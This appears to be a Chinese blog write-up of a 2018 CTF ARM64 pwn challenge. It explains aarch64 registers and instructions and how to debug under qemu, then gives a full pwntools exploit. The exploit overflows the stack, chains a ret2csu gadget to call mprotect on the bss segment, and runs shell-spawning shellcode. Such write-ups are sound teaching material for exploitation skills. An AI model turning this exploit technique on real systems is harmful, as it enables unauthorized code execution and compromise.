2018东华杯-ARM PWN
2018.11.23
V1NKe
 热度
℃
前言:
我做了一天的arm,我愣是没想到居然会用mprotect函数去改权限这种操作。。哎也还是怪自己菜。
正文:
arm32位称作ARM,arm64位称作aarch64或者armv8。
之前写过一篇arm环境搭建的文章,也写过一个简单的栈溢出。环境配置啥的就不多说了,就来说说利用过程吧。因为这一题我对arm架构指令集感觉都已经比较熟了。。先看一下基本的arm指令:
1 2 3 4 5
| x0-x7: 用于传递函数参数, 超出的参数将入栈. 假如在函数funcA中调用函数funcB, 传给funcB的参数超出8个的将保存在函数funcA函数栈的栈顶.
x0 - x30 是31个通用整形寄存器。每个寄存器可以存取一个64位大小的数。 当使用 r0 - r30/x0 - x30 访问时,它就是一个64位的数。当使用 w0 - w30 访问时,访问的是这些寄存器的低32位.
PC 程序计数器,俗称PC指针,总是指向即将要执行的下一条指令
|
x0、x1、x2是拿来做函数参数的。(前八个参数)超过八个会入栈。返回值放在x0中。
1 2 3
| 64位: X0-X30, XZR(零寄存器) 32位: W0-W30, WZR(零寄存器) 8086汇编中有一种特殊的寄存器段寄存器:CS,DS,SS,ES四个寄存器来保存这些段的基地址,这个属于Intel架构CPU中.在ARM中并没有
|
栈寄存器:
1 2 3
| sp寄存器在任意时刻都会保存我们栈顶的地址 fp寄存器也称为x29寄存器属于通用寄存器, 但是在某些时刻我们利用它保存栈底地址 ARM64开始, 取消32位的LDM,STM,PUSH,PHP指令, 取而代之的是ldr/ldp,str/stp。ARM64里面对栈的操作是16字节对齐的
|
x30寄存器:
1
| x30寄存器存放的是函数的返回地址. 当ret指令执行时, 会寻找x30寄存器保存的地址所指向的内存保存的值为下一条指令
|
bl跳转指令:
1 2
| B/BL ; 绝对跳转, 返回地址保存到LR(X30) BNE ;有条件跳转(不为零则跳转)
|
常用汇编指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| MOV X1,X0 ; 将寄存器X0的值传送到寄存器X1
ADD X0,X1,X2 ; 寄存器X1和X2的值相加后传送到X0
SUB X0,X1,X2 ; 寄存器X1和X2的值相减后传送到X0
AND X0,X0,#0xF ; X0的值与0xF相位与后的值传送到X0
ORR X0,X0,#9 ; X0的值与9相或后的值传送到X0
EOR X0,X0,#0xF ; X0的值与0xF相异或后的值传送到X0
LDR X5,[X6,#0x08] ;X6寄存器加0x08的和的地址值内的数据传送到X5
STR X0, [SP, #0x8] ;X0寄存器的数据传送到SP+0x8地址值指向的存储空间
STP x29, x30, [sp, #0x10] ; 入栈指令(将x29,x30存放在sp+0x10为地址的栈中)
LDP x29, x30, [sp, #0x10] ; 出栈指令(从sp+0x10为地址的栈中读取数据到x29,x30)
以上出入栈操作不影响sp指针的值。 LDP X29, X30, [SP],#0x40 ;从sp为地址的栈中取出两个数据到x29,x30中,之后将sp加上0x40 以上出入栈操作影响sp指针的值。
|
debug,gdb相关:
接下来写一下关于如何在ubuntu上边写exp边调试arm程序的问题,这个问题困扰了我很久。
这种时候就得充分利用到pwntools包里的东西了,在process参数中这样执行:
1
| p = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu','./pwn'])
|
但是这样只是能够在本地跑一遍程序加上我们的exp罢了,加上了gdb.attach并不好使,因为此时的gdb不是gdb-multiarch,所以识别不了arm架构的程序,无法跟调。这时候就应该加上一个-g端口了:
1
| p = process(['qemu-aarch64','-g','1212','-L','/usr/aarch64-linux-gnu','./pwn'])
|
这时候你会发现程序一开始就卡住不动了,这其实是在等待gdb链接,再另开一个shell,执行gdb-mulitarch ./elf -q
再target remote
一下就OK了,这样就可以跟踪动态调试了。
解题思路:
接下来看看如何解题:
1 2 3 4 5 6 7
| ➜ haijibei checksec ./pwn [*] '/home/parallels/Desktop/haijibei/pwn' Arch: aarch64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
主程序:
1 2 3 4 5 6 7 8
| __int64 sub_400818() { sub_400760(); write(1LL, "Name:", 5LL); read(0LL, &unk_411068, 512LL); sub_4007F0(); return 0LL; }
|
1 2 3 4 5 6
| __int64 sub_4007F0() { __int64 v1; // [xsp+10h] [xbp+10h]
return read(0LL, &v1, 512LL); }
|
明显的栈溢出,还有一处可写到bss段上。
所以改变执行流程即可,偏移为72
,在bss端上写shellcode,再把执行流程弄到bss段执行shellcode即可。
但是这里这个办法只有本地可以但是远程不行,原因就是bss段只有可读可写权限没有可执行权限。
这里的思路就是利用mprotect改变bss段的权限使其可执行。看看mprotect
函数的定义:
1 2 3
| #include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
|
addr为起始地址,后面为长度,这里需要内存页对其,也就是0x1000的整数倍,prot
列表:
1 2 3 4 5 6 7
| PROT_NONE The memory cannot be accessed at all.
PROT_READ The memory can be read.
PROT_WRITE The memory can be modified.
PROT_EXEC The memory can be executed.
|
各个模式间可用|
连接起来。
而且arm恰巧也有一个万能gadget,跟x86平台上的__libc_csu_init利用一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| .text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j .text:00000000004008AC LDR X3, [X21,X19,LSL#3] .text:00000000004008B0 MOV X2, X22 .text:00000000004008B4 MOV X1, X23 .text:00000000004008B8 MOV W0, W24 .text:00000000004008BC ADD X19, X19, #1 .text:00000000004008C0 BLR X3 .text:00000000004008C4 CMP X19, X20 .text:00000000004008C8 B.NE loc_4008AC .text:00000000004008CC .text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#var_s10] .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 .text:00000000004008DC RET
|
具体就不说了,这里的0x4008AC处要注意的是x3取的是地址中的内容,所以这里可以在bss段上写一个mprotect@plt
的地址,将指针指向bss段上即可。exp中最好指明arch
架构。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
p = process(['qemu-aarch64','-g','1212','-L','/usr/aarch64-linux-gnu','./pwn']) #p = remote('106.75.126.171',33865) #p = remote('127.0.0.1',1212) context.log_level = 'debug' context(arch = 'aarch64') elf = ELF('pwn')
print hex(elf.got['mprotect']) p.recvuntil('Name:') payload = p64(0x400600) + asm(shellcraft.aarch64.linux.sh()) #payload1 = 'A'*(0x200 - len(payload)) + payload print len(payload) p.send(payload)
sleep(1) payload2 = 'A'*0x48 + p64(0x4008CC) + p64(0x0) + p64(0x4008AC) + p64(0x0) payload2 += p64(0x1) + p64(0x411068) + p64(0x7) + p64(0x1000) payload2 += p64(0x411048) + p64(0x0) + p64(0x411070) #pause() #gdb.attach(p) p.send(payload2)
p.interactive()
|
小问题:
有的人可能asm不了aarch64的shellcode,这里是因为缺链接了:
1
| $ sudo apt-get install binutils-aarch64-linux-gnu
|
即可。